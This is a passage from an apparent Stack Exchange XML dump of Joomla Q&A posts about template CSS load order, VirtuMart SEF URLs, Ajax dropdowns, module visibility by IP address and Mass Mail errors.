Tags="|php|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15445" PostTypeId="1" CreationDate="2016-02-29T15:13:11.833" Score="2" ViewCount="963" Body="&lt;p&gt;I'm using JoomlaArt template. That template was built on T3 Framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a integrated way of adding custom CSS file and it is pretty simple. &#xA;Everything what needs to be done is to add &lt;code&gt;custom.css&lt;/code&gt; file to &lt;code&gt;/your_template/css&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That file is loaded in &lt;code&gt;head.php&lt;/code&gt; by following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// CUSTOM CSS&#xA;if(is_file(T3_TEMPLATE_PATH . '/css/custom.css')) {&#xA;    $this-&amp;gt;addStyleSheet(T3_TEMPLATE_URL.'/css/custom.css'); &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, problem for me is because that file was first and I need it to be loaded as last css file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/a9fmea&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/a9fmea&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have idea where do I need to do that. Any advice is welcome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="7893" LastEditorUserId="27" LastEditDate="2016-12-07T22:05:18.787" LastActivityDate="2016-12-11T00:21:32.150" Title="Change ordering of loading css files in T3 template" Tags="|joomla-3.x|templates|css|t3-framework|joomlart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15446" PostTypeId="2" ParentId="15444" CreationDate="2016-02-29T15:18:07.637" Score="3" Body="&lt;p&gt;It looks like the problem was that Joomla uses the From address of the user sending the message instead of the From address configured in the global configuration's server settings. When I changed the super user's email address to match the addresses in my other test, then the email went through.&lt;/p&gt;&#xA;" OwnerUserId="7884" LastActivityDate="2016-02-29T15:18:07.637" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15447" PostTypeId="1" AcceptedAnswerId="15454" CreationDate="2016-02-29T15:28:14.703" Score="2" ViewCount="73" Body="&lt;p&gt;I think I'm just overlooking something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I got:&lt;/strong&gt; At the moment, there's a menu entry which shows a &lt;code&gt;category blog&lt;/code&gt;, so basically, it lists all contents from this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I'm looking for:&lt;/strong&gt; I want this page to not only link to posts, but also link to something external as well as a shop category in the Hikashop module. Basically, I just want to see a page formatted like the category blog, but with links to arbitrary pages, not only posts in one category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this? Am I maybe tackling the issue from a wrong perspective? Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="7741" LastActivityDate="2016-03-01T03:54:55.407" Title="Link Collection Menu Item" Tags="|category-blog|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15448" PostTypeId="1" AcceptedAnswerId="15452" CreationDate="2016-02-29T15:31:47.373" Score="1" ViewCount="391" Body="&lt;p&gt;I am using a joomla template. &lt;br&gt;&#xA;Each time when I try to load my site in localhost,&lt;br&gt; I see that my site is applying to maps.googleapis.com and it opens very very slow. &lt;br&gt;&#xA;I tried to unpublish all map related modules, but it did not help. &lt;br&gt;&#xA;How can I remove that in order my site to load faster?&lt;/p&gt;&#xA;" OwnerUserId="7343" LastActivityDate="2016-02-29T21:34:32.360" Title="How to remove maps.googleapis.com?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15449" PostTypeId="1" CreationDate="2016-02-29T15:42:40.017" Score="2" ViewCount="472" Body="&lt;p&gt;I've this travel site in joomla+virtuemart &lt;a href=&quot;http://couponviaggio.it/&quot; rel=&quot;nofollow&quot;&gt;http://couponviaggio.it/&lt;/a&gt;, and we're having some SEO problems caused by duplicate products URLs that stay in 1+ categories.&#xA;For example:&lt;br&gt;&#xA;&lt;code&gt;couponviaggio.it/regioni-italiane/regione-abruzzo/hotel_city_montesilvano-detail.html&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;couponviaggio.it/mare/vacanze-mare-abruzzo/hotel_city_montesilvano-detail.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same product, and it's accessible by 2 different URLs, because it stays in 2 different categories. &#xA;I want to make something like:&lt;br&gt;&#xA;&lt;code&gt;couponviaggio.it/hotel_city_montesilvano-detail.html&lt;/code&gt;&lt;br&gt;&#xA;for every product.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&#xA;Thank you so much.&lt;/p&gt;&#xA;" OwnerUserId="7694" LastEditorUserId="3650" LastEditDate="2016-03-03T19:34:55.440" LastActivityDate="2016-03-27T12:36:17.637" Title="Virtuemart duplicate URL for products assigned to 1+ categories" Tags="|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15450" PostTypeId="2" ParentId="15445" CreationDate="2016-02-29T17:26:02.663" Score="2" Body="&lt;p&gt;Hello Haris and welcome to JSE. The biggest problem you are going to have if you modify any of the template files in order to change the load order is that updating your template in the future will revert your changes. A easy way to accomplish this would be to add a style declaration before the page finishes loading.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save your custom CSS file to the root of your site instead of in the css folder so your template doesn't pick it up automatically.&lt;/li&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;http://extensions.joomla.org/extension/flexi-custom-code&quot; rel=&quot;nofollow&quot;&gt;Flexi Custom Code&lt;/a&gt; Module from the JED.&lt;/li&gt;&#xA;&lt;li&gt;Set the module position to the debug position for your template and hide the module title&lt;/li&gt;&#xA;&lt;li&gt;Turn off CSS, HTML, and Javascript cleanup&lt;/li&gt;&#xA;&lt;li&gt;enter the code below into the custom code box&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $doc = JFactory::getDocument();&#xA;  $doc-&amp;gt;addStyleSheet(JUri::root() . 'templates/YOUR_TEMLPATE/css/custom.css');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code should put your &lt;em&gt;custom.css&lt;/em&gt; file in the head section of the site as the last CSS declaration.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="168" LastEditDate="2016-02-29T20:32:33.917" LastActivityDate="2016-02-29T20:32:33.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15451" PostTypeId="2" ParentId="15445" CreationDate="2016-02-29T21:21:59.573" Score="2" Body="&lt;p&gt;T3 should be loading the &lt;code&gt;custom.css&lt;/code&gt; file last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a work around, try &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/easyscript&quot; rel=&quot;nofollow noreferrer&quot;&gt;EasyScript&lt;/a&gt; which is free and which &lt;a href=&quot;https://joomla.stackexchange.com/q/15852/120&quot;&gt;I have used successfully for this purpose&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An important advantage of using EasyScript or similar over a core hack is that your changes will survive future updates.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-12-11T00:21:32.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15452" PostTypeId="2" ParentId="15448" CreationDate="2016-02-29T21:34:32.360" Score="0" Body="&lt;p&gt;Ideally compile a list of all third party extensions on the website. With a few exceptions, these are the ones in &lt;code&gt;Extensions -&amp;gt; Manage -&amp;gt; Manage&lt;/code&gt; where the author is something other than &quot;Joomla! Project&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Temporarily disable these one by one while refreshing the front-end of the website and checking the source code to see which extension is adding the Google API code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could load jQuery Easy &lt;a href=&quot;http://extensions.joomla.org/extension/jquery-easy&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/jquery-easy&lt;/a&gt; or similar to stop the code loading.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-02-29T21:34:32.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15453" PostTypeId="2" ParentId="15447" CreationDate="2016-02-29T23:04:01.353" Score="3" Body="&lt;p&gt;I think there are a number of ways you could go about achieving such a page.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an article and manually add everything yourself (Not very&#xA;efficient).&lt;/li&gt;&#xA;&lt;li&gt;Use something like &lt;a href=&quot;https://www.nonumber.nl/extensions/articlesanywhere#multiple-articles&quot; rel=&quot;nofollow&quot;&gt;Nonumber's Articles Anywhere&lt;/a&gt;. It allows you to add articles by category and other methods, so you should be able to customize it the way you like.(Slightly more efficient then option1). In this case, you would probably need the pro version.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;Create an override.&lt;/a&gt; This involves a bit of programming, so might be considered harder than the first 2 options, but is probably the best option. I won't go into specifics, but hopefully this be enough to get you started.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="115" LastActivityDate="2016-02-29T23:04:01.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15454" PostTypeId="2" ParentId="15447" CreationDate="2016-03-01T03:54:55.407" Score="3" Body="&lt;p&gt;I suggest creating modules for each of the non-article items you wish to include on the page and then insert the modules into an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Category Blog&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an &quot;Articles - Category&quot; module and enter &quot;category-blog&quot; or similar as a custom module position name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;External Link&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add external links as normal in your article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hikashop Category Module&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter &quot;shop-category&quot; or similar as a custom module position name for your Hikashop module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla Article&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla article, you can combine the modules in whatever order you like as follows by inserting them using the &lt;code&gt;loadposition&lt;/code&gt; plugin and the custom module position names you have already created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Heading]&#xA;&#xA;{loadposition category-blog}&#xA;&#xA;[External Link]&#xA;&#xA;{loadposition shop-category}&#xA;&#xA;[any other content you like]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to assign your modules to the appropriate menu item(s) that display your article.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-01T03:54:55.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15455" PostTypeId="1" CreationDate="2016-03-01T09:16:30.203" Score="1" ViewCount="866" Body="&lt;p&gt;Referring to my previous Question &lt;a href=&quot;https://joomla.stackexchange.com/questions/15441/jquery-ajax-for-three-drop-down&quot;&gt;jQuery Ajax for three drop down&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On page1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will select dropdown Building (populating from db) and dropdown Floor (by Ajax call)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then url will pass like: index.php?option=com_rsform&amp;amp;formId=8&amp;amp;form[Building][]=&lt;strong&gt;1&lt;/strong&gt;&amp;amp;form[Floor][]=&lt;strong&gt;3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Page2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In dropdown Building showing the option with value &lt;strong&gt;1&lt;/strong&gt; but dropdown Floor is only showing “please select” and &lt;strong&gt;NOT&lt;/strong&gt; getting the value (which should be &lt;strong&gt;3&lt;/strong&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in script I have to write if statement for floor ONLY, like if the floor getting value from url then show the value else run the script to call ajax for floor.&#xA;Units in both cases (continue from another form or start fresh by form page) will get value by Ajax call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&#xA;var Floor_id    = $('#Floor');&#xA;var Building_id = $('#Building');&#xA;var Unit_id     = $('#Unit');&#xA;var initial_Floor_html = '&amp;lt;option value=&quot;&quot;&amp;gt;Please select...&amp;lt;/option&amp;gt;';&#xA;var initial_Unit_html  = '&amp;lt;option value=&quot;&quot;&amp;gt;Please select...&amp;lt;/option&amp;gt;';&#xA;&#xA;Floor_id.html(initial_Floor_html);&#xA;Unit_id.html(initial_Unit_html);&#xA;&#xA;Building_id.on('change', function(e) {&#xA;&#xA;    var selectvalue = $(this).val();&#xA;&#xA;    //Display 'loading' status in the target select list&#xA;    Floor_id.html('&amp;lt;option value=&quot;&quot;&amp;gt;Loading...&amp;lt;/option&amp;gt;');&#xA;&#xA;    if (selectvalue == '') &#xA;    {&#xA;        Floor_id.html(initial_Floor_html);&#xA;    } &#xA;    else &#xA;    {&#xA;        //Make AJAX request, using the selected value as the GET&#xA;        $.ajax({&#xA;            url: 'index.php',&#xA;            data:'option=com_parkingreservation&amp;amp;task=getFloorsHTML&amp;amp;fvalue='+selectvalue,&#xA;            success: function(output) {&#xA;                Floor_id.html(output);&#xA;                updateSelect(Floor_id.val());&#xA;            },&#xA;            error: function (xhr, ajaxOptions, thrownError) {&#xA;                alert(xhr.status +  ' ' + thrownError);&#xA;            }&#xA;        });&#xA;    }&#xA;});&#xA;&#xA;Floor_id.on('change', function(e) {&#xA;    updateSelect($(this).val());&#xA;});&#xA;&#xA;function updateSelect(selectvalue) &#xA;{&#xA;    //Display 'loading' status in the target select list&#xA;    Unit_id.html('&amp;lt;option value=&quot;&quot;&amp;gt;Loading...&amp;lt;/option&amp;gt;');&#xA;&#xA;    if (selectvalue == '') &#xA;    {&#xA;        Unit_id.html(initial_Unit_html);&#xA;    } &#xA;    else &#xA;    {&#xA;        //Make AJAX request, using the selected value as the GET&#xA;        $.ajax({&#xA;            url: 'index.php',&#xA;            data:'option=com_parkingreservation&amp;amp;task=getUnitsHTML&amp;amp;uvalue='+selectvalue,&#xA;            success: function(output) {&#xA;                Unit_id.html(output);&#xA;            },&#xA;            error: function (xhr, ajaxOptions, thrownError) {&#xA;                alert(xhr.status + ' ' + thrownError);&#xA;            }&#xA;        });&#xA;    }&#xA;}&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7855" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2017-03-27T00:38:27.817" Title="Passing form value using Ajax" Tags="|joomla-3.x|javascript|jquery|ajax|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15457" PostTypeId="2" ParentId="15449" CreationDate="2016-03-01T10:07:28.130" Score="1" Body="&lt;p&gt;You cannot adjust Virtuemart's SEF URLs too much on it's own. VM have only few options in VM | Configuration | Configuration | SEO Settings tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more SEF configuration options you need to use some dedicated SEF Extension, and I personally prefer &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/site-management/sef/sh404sef&quot; rel=&quot;nofollow noreferrer&quot;&gt;sh404SEF&lt;/a&gt; since the dawn of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In sh404SEF Configuration, besides numerous general options, there is a tab for configuring URLs for most popular extensions, among which is also Virtuemart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4FP8i.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4FP8i.jpg&quot; alt=&quot;sh404SEF VM Config&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the screenshot above you can see that sh404SEF allows you to configure product URLs to your liking, either by using one or more categories, or not using them at all, which is your requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only drawback here is that sh404SEF is a commercial extension, but I am not aware of any other free solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2016-03-27:&lt;br&gt;&#xA;My opinion about &quot;Possible Duplicate VM URLs Issue&quot; you can find on next OP's post:&lt;br&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/15682/strange-redirects-from-google-after-sh404sef-plugin-virtuemart&quot;&gt;Strange Redirects from google after sh404sef plugin + virtuemart&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-03-27T12:36:17.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15458" PostTypeId="2" ParentId="14133" CreationDate="2016-03-01T12:50:46.097" Score="0" Body="&lt;p&gt;My problem turned out to be caused by SEBLOD and its templating.  I was not aware that this could have been the case, I have since learned a lot more about SEBLOD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution to use Bootstrap Tabs (or NoNumber Tabs) with SEBLOD lists is to add the following CSS which will fix the height issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.cck_module_list div div div div { height: auto !important; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And yes, I know that CSS looks stupid :)&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2016-03-01T12:50:46.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15460" PostTypeId="1" CreationDate="2016-03-01T14:25:29.293" Score="1" ViewCount="161" Body="&lt;p&gt;On my website &lt;a href=&quot;http://clevervox.com&quot; rel=&quot;nofollow&quot;&gt;clevervox.com&lt;/a&gt; I have a strange problem: My mobile menu and logo are visible only on the first page and on the other they disappeared and I couldn't find logic for this. My template is &lt;a href=&quot;http://demo.flexiblewebdesign.com/lightmart/&quot; rel=&quot;nofollow&quot;&gt;Lightmart&lt;/a&gt;. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7900" LastEditorUserId="7900" LastEditDate="2016-03-02T10:46:54.703" LastActivityDate="2016-03-02T10:46:54.703" Title="Mobile header available only on the main page" Tags="|joomla-3.x|menu|header|mobile-detection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15461" PostTypeId="2" ParentId="15460" CreationDate="2016-03-01T15:17:16.837" Score="1" Body="&lt;p&gt;Ok, so the markup for the header isn't there at all, so we know it's not a CSS related issue.&lt;/p&gt;&#xA;&lt;p&gt;I'm going to have a guess and say it's most likely 1 of 2 things:&lt;/p&gt;&#xA;&lt;h3&gt;1:&lt;/h3&gt;&#xA;&lt;p&gt;The header is a module. Therefore you need to ensure it's assigned to every page. Open the header module in the &lt;strong&gt;Module Manager&lt;/strong&gt;, go to &lt;strong&gt;Menu Assignment&lt;/strong&gt;, then select &lt;strong&gt;Show on all pages&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3&gt;2:&lt;/h3&gt;&#xA;&lt;p&gt;Your template has some funky code in the &lt;em&gt;index.php&lt;/em&gt; which is telling it to only this this section on the homepage. It would be an extremely odd thing for a developer to implement, however I've seen it done before.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-01T15:17:16.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15462" PostTypeId="2" ParentId="15460" CreationDate="2016-03-01T16:19:32.240" Score="0" Body="&lt;p&gt;My guess is that the regular header and the mobile header (both menu and logo) are separate modules. The regular (full width) header is hidden on screen sizes below 768px:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media screen and (max-width: 768px) and (min-width: 569px) {&#xA;   #headerbar, #headerbar, #menubar, #totop-scroller {&#xA;       display: none;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check if you have a module that is visible only on your home page.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-03-01T16:19:32.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15463" PostTypeId="2" ParentId="15455" CreationDate="2016-03-01T17:12:03.707" Score="1" Body="&lt;p&gt;Since you have the building and floor both in the url just add an if statement to your floor dropdown to add selected=&quot;selected&quot; to the correct option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as a note if your dropdown is only selecting a single building or floor there is no need to pass that data as an array, just pass it as a single integer. This code example would be based on passing a single integer rather than an array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$building = $JInput-&amp;gt;get('building','','int');&#xA;$floor = $JInput-&amp;gt;get('floor','','int');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;bulding&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;1&quot; &amp;lt;?php echo (($building== 1)?'echo 'selected=&quot;selected&quot;':'');?&amp;gt;&amp;gt;Building 1&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;2&quot; &amp;lt;?php echo (($building== 2)?'echo 'selected=&quot;selected&quot;':'');?&amp;gt;&amp;gt;Building 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;3&quot; &amp;lt;?php echo (($building== 3)?'echo 'selected=&quot;selected&quot;':'');?&amp;gt;&amp;gt;Building 3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;floor&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;1&quot; &amp;lt;?php echo (($floor == 1)?'echo 'selected=&quot;selected&quot;':'');?&amp;gt;&amp;gt;Building 1&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;2&quot; &amp;lt;?php echo (($floor == 2)?'echo 'selected=&quot;selected&quot;':'');?&amp;gt;&amp;gt;Building 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;3&quot; &amp;lt;?php echo (($floor == 3)?'echo 'selected=&quot;selected&quot;':'');?&amp;gt;&amp;gt;Building 3&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the third dropdown you can use use the value from your floor variable to make an ajax call against your database and get whatever the result is for the third dropdown, then set the value of the third dropdown to that result.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-01T17:12:03.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15464" PostTypeId="1" CreationDate="2016-03-01T17:22:32.870" Score="2" ViewCount="95" Body="&lt;p&gt;Mass Mail works fine when I send to all Super Users (3), but NOT when I send to all Registered users (64?). Even when the other setting are the same (BCC on, HTML off, etc...). I'm using Joomla 3.4.8, on SiteGround web hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried both phpmail and sendmail. Both have the same results, just a different error msg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;phpmail:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Notice&lt;/strong&gt; &#xA;  Could not instantiate mail function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sendmail:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Notice&lt;/strong&gt; &#xA;  Could not execute: /usr/sbin/sendmail -t -i&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7901" LastActivityDate="2016-03-05T00:06:13.423" Title="Mass Mail partially works" Tags="|emails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15465" PostTypeId="1" AcceptedAnswerId="15466" CreationDate="2016-03-01T17:48:38.907" Score="3" ViewCount="181" Body="&lt;p&gt;In an Intranet I have two groups of clients, each well known by their IP address. I want to present Joomla module A for clients from both groups, module B only for the clients of group 1 and module C only for clients of group 2.&lt;br&gt;&#xA;When the clients are power on they shall go to the front page &lt;em&gt;without human interaction&lt;/em&gt;. So using different logins would only work if I can login automatically with different accounts from different clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One idea would be to use a .htaccess-RewriteCond based on the IP and deliver special created CSS-files (for each group, using &lt;code&gt;display: none;&lt;/code&gt; to remove the unwanted content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it would be much nicer to use somehow the internals of Joomla. Is there a way to create a URL that logs me into the Joomla system, or can you think of an other way to tell Joomla which content has to be displayed to this specific client just by the URL (that can be altered by the .htaccess mod.rewrite)?&lt;/p&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2016-03-04T19:09:38.380" Title="Offering different content to different clients" Tags="|joomla-3.x|login|.htaccess-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15466" PostTypeId="2" ParentId="15465" CreationDate="2016-03-01T18:11:08.560" Score="2" Body="&lt;p&gt;One of the most powerful module managers for Joomla is &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/modules-management/metamod&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;MetaMod&lt;/strong&gt;&lt;/a&gt;. I have been using it for ages and in any imaginable scenario. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has powerfull set of criterias: by date, time, recurring time, GeoIP (country of viewer), browser type and language, user name, group, page within other component (e.g. Virtuemart, K2), on-page text, article keywords, by article, section/category, domain, referrer… and at the end, even more powerfull PHP Rules, of which there are numeros examples a.k.a. &lt;a href=&quot;http://www.metamodpro.com/metamod/recipes&quot; rel=&quot;nofollow&quot;&gt;PHP Recipes&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these recipes is &lt;a href=&quot;http://www.metamodpro.com/metamod/recipes/40-general/64-control-modules-by-ip-address&quot; rel=&quot;nofollow&quot;&gt;Control modules by IP address&lt;/a&gt;, which might be what you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;strong&gt;Second Part of your Question&lt;/strong&gt;, there is great little plugin &lt;a href=&quot;https://www.nonumber.nl/extensions/iplogin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;IP Login&lt;/strong&gt;&lt;/a&gt; from NoNumber, which allows you to log into your Joomla frontend and/or administrator side automatically by IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply set up IP address and a secret URL key in user's profile in the administrator. The URL key needs to be put in the url as a 'query' variable, like:&#xA;&lt;code&gt;http://www.yourdomain.com?mxx8hrv4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the URL already contains a &lt;code&gt;?&lt;/code&gt;, you can prepend the key with an &lt;code&gt;&amp;amp;&lt;/code&gt;, like:&#xA;&lt;code&gt;http://www.yourdomain.com/administrator/index.php?option=com_content&amp;amp;mxx8hrv4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-03T17:10:51.890" LastActivityDate="2016-03-03T17:10:51.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15467" PostTypeId="1" AcceptedAnswerId="17935" CreationDate="2016-03-01T18:14:03.557" Score="5" ViewCount="205" Body="&lt;p&gt;I am trying to figure out how to get the &lt;code&gt;showon&lt;/code&gt; tag to work with nested fields. Could someone please look at the code below and tell me what I do wrong or if it is at all possible.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;main&quot;&#xA;       type=&quot;radio&quot;&#xA;       class=&quot;btn-group btn-group-yesno&quot;&#xA;       default=&quot;0&quot;&#xA;       label=&quot;LABEL&quot;&#xA;       description=&quot;DESC&quot; &amp;gt;&#xA;       &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;       &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&#xA;&amp;lt;field name=&quot;sub&quot;&#xA;       type=&quot;radio&quot;&#xA;       class=&quot;btn-group btn-group-yesno&quot;&#xA;       default=&quot;0&quot;&#xA;       showon=&quot;main:1&quot;&#xA;       label=&quot;LABEL&quot;&#xA;       description=&quot;DESC&quot;&amp;gt;&#xA;       &amp;lt;option 